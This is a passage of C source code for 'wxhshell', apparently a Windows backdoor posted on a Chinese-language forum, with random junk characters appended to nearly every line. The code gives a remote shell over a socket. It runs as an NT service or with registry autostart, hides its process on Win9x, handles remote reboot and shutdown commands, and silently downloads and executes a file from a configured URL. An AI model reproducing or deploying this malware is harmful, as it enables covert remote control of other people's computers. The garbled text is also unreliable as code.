    switch(cmd[0]) { wf,B/[,d  
  grs~<n|o\  
  // 帮助 N -z  
  case '?': { }w|a^=HAp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q7{/ T0  
    break; 8*7,qX  
  } (+iOy/5#u  
  // 安装 -Uj3?W  
  case 'i': { - ^f>=xa4J  
    if(Install()) ^+MG"|)u~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JNx;/6'd,  
    else #Rj&PzBe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \'>ZU-V  
    break; #GVf+8"  
    } G.B~n>}JU,  
  // 卸载 -~rZ| W~v  
  case 'r': { `0z8J*T]  
    if(Uninstall()) "3Lq/mJYnZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [AA*B  
    else oNFvRb2Rd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U=vh_NHj  
    break; 0;/},B[A  
    } L"(k;Mfe  
  // 显示 wxhshell 所在路径 Qw@_.I  
  case 'p': { |ZmWhkOX  
    char svExeFile[MAX_PATH]; cq0#~20  
    strcpy(svExeFile,"\n\r"); I%b}qC"5M  
      strcat(svExeFile,ExeFile); >S[NI<=8S  
        send(wsh,svExeFile,strlen(svExeFile),0); Zk*!,,P!  
    break; <?E~Qc t  
    } c*N>7IF,  
  // 重启 _9 B ^@~  
  case 'b': { 5f- eWW]!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fs 95^T  
    if(Boot(REBOOT)) vd FP ^06  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z<jH{AU  
    else { J;#7dRW{  
    closesocket(wsh); H]<@\g*l@P  
    ExitThread(0); sqE? U*8.-  
    } 3qVDHDQ?ZV  
    break; av:9kPKm  
    } ^)i1b:4  
  // 关机 C'S&  
  case 'd': { ^- H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =P)H3|AdIm  
    if(Boot(SHUTDOWN)) 0)HZ5^J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y$K[@_dv=  
    else { )oCb9K:km  
    closesocket(wsh); L; (J6p]h  
    ExitThread(0); J5j3#2l  
    } v$]eCj'  
    break; fZNWJo# `.  
    } EpdSsfDP  
  // 获取shell '^ob3N/Y [  
  case 's': { I?~iEO\nh  
    CmdShell(wsh); t` f.HJe  
    closesocket(wsh); 7:P+S%ZL  
    ExitThread(0); syB.Z-Cpd  
    break; /^9KZj  
  } sF!nSr  
  // 退出 .j l|? o  
  case 'x': { T^1]|P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]IeyJ  
    CloseIt(wsh); Q3P*&6wA  
    break; #Ks2a):8  
    } mZ! 1Vh  
  // 离开 KL^hYjC  
  case 'q': { >j}.~$6dj_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ` Clh;  
    closesocket(wsh); +S C;@'  
    WSACleanup(); W,-fnJk  
    exit(1); ]zUvs6ksLG  
    break; tZ*z.3\<  
        } M9dOLM.  
  } *c{X\!YBh  
  } ^R;rrn{^  
]J)3y+;P  
  // 提示信息 ?o883!&v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #z&@f  
} fXfO9{E  
  } )a0%62  
IuN:*P  
  return; QsC6\Gt#  
} hY[Vs5v  
PZE{- TM?W  
// shell模块句柄 `p\@b~GM  
int CmdShell(SOCKET sock) w\(; >e@  
{ S*9qpes-m|  
STARTUPINFO si; Lcow2 SbH  
ZeroMemory(&si,sizeof(si)); ReZ&SNJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V0)F/qY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~uRL+<.c  
PROCESS_INFORMATION ProcessInfo; r.#"he_6!.  
char cmdline[]="cmd"; <o:|0=Sw b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); = k7}[!T  
  return 0; EI!e0 V1!  
}  OK\F  
,d~6LXr<fM  
// 自身启动模式 {ZR>`'^:  
int StartFromService(void) d^W1;0  
{ o{I]c#W  
typedef struct H%^j yGS  
{ `S+B-I0  
  DWORD ExitStatus; lVR a{._m  
  DWORD PebBaseAddress; 4b<>gpQ  
  DWORD AffinityMask; o'auCa,N  
  DWORD BasePriority; Yj/[I\I"m  
  ULONG UniqueProcessId; 29~Bu5  
  ULONG InheritedFromUniqueProcessId; >cYYr@S  
}   PROCESS_BASIC_INFORMATION; <WCTJ!Z  
T]0H&Oov  
PROCNTQSIP NtQueryInformationProcess; k< i#agq  
H(,D5y`k1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6 ~LCj"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %SJ2W>e  
6&KvT2?tA`  
  HANDLE             hProcess; j$mCU?  
  PROCESS_BASIC_INFORMATION pbi; OS7^S1r-  
hUO&rov3@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @24)*d^1  
  if(NULL == hInst ) return 0; _zF*S]9 X  
w/UZ6fu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w(-h!d51+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K]s*rPT/,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~4'AnoD1w  
o b,%); m  
  if (!NtQueryInformationProcess) return 0; 3rh@|fg)E  
!,z ==Qp|v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \Uh$%#}.  
  if(!hProcess) return 0; e_Un:r@)  
m2h@*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6tKCY(#oO+  
4Ow0g-{  
  CloseHandle(hProcess); MeMSF8zSQ  
E Zh.*u@^r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U,e'vS{  
if(hProcess==NULL) return 0; wM aqR"%  
~P;KO40K  
HMODULE hMod; &w7Ev21  
char procName[255]; m&!4*D  
unsigned long cbNeeded; 4k4 d%  
hiBZZ+^[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l Taw6;  
C0v1x=(xiM  
  CloseHandle(hProcess); Ap)[;_9BD  
4/:}K>S_  
if(strstr(procName,"services")) return 1; // 以服务启动 ecIZ +G)k  
v62O+{  
  return 0; // 注册表启动 oTLA&dy@  
} >.4mAO  
CYFi_6MFl  
// 主模块 jS<(O o  
int StartWxhshell(LPSTR lpCmdLine) @eOD+h'  
{ p^>_VE[S  
  SOCKET wsl; pN?geF~t|  
BOOL val=TRUE; 9qcA+gz:|  
  int port=0; ?CU6RC n  
  struct sockaddr_in door; '2X6 >6`w  
ExKjH*gn  
  if(wscfg.ws_autoins) Install(); #|R#/Yc@Bv  
4SDUTRo a  
port=atoi(lpCmdLine); Z\. n6  
&'KJh+jJ  
if(port<=0) port=wscfg.ws_port; ckhU@C|=*  
97 eEqI$#  
  WSADATA data; 0tb%h[%,M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RJhafUJ zH  
LfsqtQ=J`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IF~E;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R;l;;dC=  
  door.sin_family = AF_INET; R&MdwTa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bbe$6xwi  
  door.sin_port = htons(port); 1r?hRJ:'  
vmsrypm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 734f &2  
closesocket(wsl); vOQ 3A%/  
return 1; "kS!rJ[  
} :/<SJ({q  
DElrY)3O.  
  if(listen(wsl,2) == INVALID_SOCKET) { $s.:H4:I  
closesocket(wsl); (<KFA,  
return 1; 5x?YFq6k  
} hb ="J349  
  Wxhshell(wsl); 2&o jQhe  
  WSACleanup(); w]O [{3"  
#AO?<L  
return 0; =IH~:D\&  
M)6iYA%$  
} ?DrA@;IB  
JEh(A=Eu>  
// 以NT服务方式启动 1W r,E#+C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  ,7h0y  
{ -~] q?k?  
DWORD   status = 0; cKED RX3  
  DWORD   specificError = 0xfffffff; *YO^+]nmY  
a${<~M hm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; slTE.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e%_J O7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C116 c"  
  serviceStatus.dwWin32ExitCode     = 0; SUC'o"  
  serviceStatus.dwServiceSpecificExitCode = 0; F?+\J =LT  
  serviceStatus.dwCheckPoint       = 0; mJNw<T4!/  
  serviceStatus.dwWaitHint       = 0; N3(.7mxo  
3ZUME\U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ISHzlEY  
  if (hServiceStatusHandle==0) return; xQ,My  
LE}V{%)xD  
status = GetLastError(); urhOvC$a  
  if (status!=NO_ERROR) =n<Lbl(7  
{ c:I %jm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 38#Zlc f  
    serviceStatus.dwCheckPoint       = 0; u*=8s5Q[  
    serviceStatus.dwWaitHint       = 0; H!P$p-*.  
    serviceStatus.dwWin32ExitCode     = status; o]M1$)>b +  
    serviceStatus.dwServiceSpecificExitCode = specificError; c> 0R_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,n3e8qd  
    return; /*2)|2w  
  } Xti.yQx\  
0fzHEL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mz6PH)e;  
  serviceStatus.dwCheckPoint       = 0; \2))c@@%  
  serviceStatus.dwWaitHint       = 0; = 6'Fm$R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8I[=iU7]l  
} SA?lDRF  
bRD-[)  
// 处理NT服务事件,比如:启动、停止 @1N .;]|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?DGg.2f  
{ H <9_BA?  
switch(fdwControl) 4;*jE (  
{ V+5av Z}  
case SERVICE_CONTROL_STOP: q ;"/i*+3  
  serviceStatus.dwWin32ExitCode = 0; ykYef  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fE"-W{M  
  serviceStatus.dwCheckPoint   = 0; Z 4QL&?U  
  serviceStatus.dwWaitHint     = 0; 1ixBwnp?  
  { *#9?9SYSk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jwpahy;\WL  
  } Du #>y!  
  return; ;pj,U!{%s\  
case SERVICE_CONTROL_PAUSE: ua E,F^p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (q@%eor&}  
  break; )FN\jo!!.  
case SERVICE_CONTROL_CONTINUE: 9ZNzC i!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ot0g@q[3  
  break; lK_T%1Gz  
case SERVICE_CONTROL_INTERROGATE: -tIye{  
  break; ^8KxU  
}; WjguM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I?RUVs  
} d uP0US  
8*;>:g  
// 标准应用程序主函数 M`n0 q y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #(QS5J&Qq  
{ t$ 97[ay  
vi.INe  
// 获取操作系统版本 . '>d7  
OsIsNt=GetOsVer(); Dn)B19b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Id1de>:;  
^ WF_IH&  
  // 从命令行安装 P?^%i  
  if(strpbrk(lpCmdLine,"iI")) Install(); fZoQQ[s  
8DX5bB  
  // 下载执行文件 `=S%!akj  
if(wscfg.ws_downexe) { Zv2]X-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eLLOE)x  
  WinExec(wscfg.ws_filenam,SW_HIDE); # [ +n(  
} O`$\P lt|v  
, `PYU[  
if(!OsIsNt) { %}JSR y  
// 如果时win9x,隐藏进程并且设置为注册表启动 LP !d|X  
HideProc(); -/ G#ls|?  
StartWxhshell(lpCmdLine); ?D|kCw69SE  
} "!_vQ^y  
else m#ig.z|A  
  if(StartFromService()) U&43/;<,  
  // 以服务方式启动 ?gBFfi  
  StartServiceCtrlDispatcher(DispatchTable); M N (o  
else n a*Z0y  
  // 普通方式启动 b6xz\zCL  
  StartWxhshell(lpCmdLine); 1/,~0N9  
1;PI%++  
return 0; *2fJdY  
}
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只看该作者 1 发表于: 2006-10-10
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